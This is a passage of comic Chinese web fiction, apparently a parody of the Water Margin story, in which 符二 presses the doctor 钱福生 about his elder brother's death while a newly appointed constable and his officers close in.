符二抬起头,直视着钱福生, “我是符福的弟弟,我来找您,想查查我大哥咋没的。” “符福?” 钱福生眉头一皱,似乎在努力回忆着什么, “哪个符福?我这病人太多,同名同姓的也不少,你说的可是那个……” 钱福生突然卡壳了,他想不起来了。 “我麻哥……他个头不高,长得……不大好看。” 符二的声音越来越低,心里也越来越没底。 钱福生没反应,符二急了,声音都变了调: “他住在青砖街!在长安街口卖炊饼!” 钱福生一拍脑门,终于想起来了: “哦!你说的是他啊!”符二话音刚落,钱福生只觉得一阵耳鸣,眼皮子突突狂跳。 他岂能听不出这言外之意? 只是……这未免也太…… “长得……不大好看?”钱福生倒吸一口凉气,嘴角抽搐着,一个字一个字地往外蹦,仿佛用尽了全身的力气,“个头……是不算高?” 话到此处,他再也绷不住了,猛地提高了嗓门,像是要把这些年的憋屈都吼出来: “你管那叫‘不大好看’、‘不算高’?那是丑得惊天动地,矮得惨绝人寰!” 钱福生越说越激动,胸口剧烈起伏,险些一口气没上来。他死死地盯着符二,要不是仅存的理智还在,恐怕早就扑上去揪住对方的领子了 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新官上任三把火,他就瞅准了机会,三下五除二,俩人就勾搭……啊呸,结交上了。 新官上任三把火,头一把还没烧起来,就遇上了钱福生这根滑不溜手的“老柴”。 钱福生是谁?那是清阳县的活地图、顺风耳。 三教九流,五行八作,就没有他攀不上关系的人。 谁不是靠吃饭过活,哪有不生病的?多个医生朋友,就等于多了条命。 更何况,钱福生这人上道,懂规矩。 所以,哪怕钱福生磨磨蹭蹭耽搁了些时间,新都头也没恼。 不仅没恼,他还乐呵呵地跟在后头。 一来是钱福生出手大方,早早就塞了银子。 二来嘛,大过年的,闲着也是闲着,看看热闹也不错。 眼瞅着官兵步步紧逼,符二额头渗出细密的汗珠。 他心里清楚,今儿这事儿,怕是不能善了。 怎么办? 符二的脑子飞速运转,电光火石之间,一个念头闪过。 他猛地一拍大腿,伸手“啪”的一声打开了身旁的包裹。 这一声响,把在场所有人都吓了一跳。 钱福生更是猛地转过身来,死死地盯着那包裹,眼睛瞪得溜圆。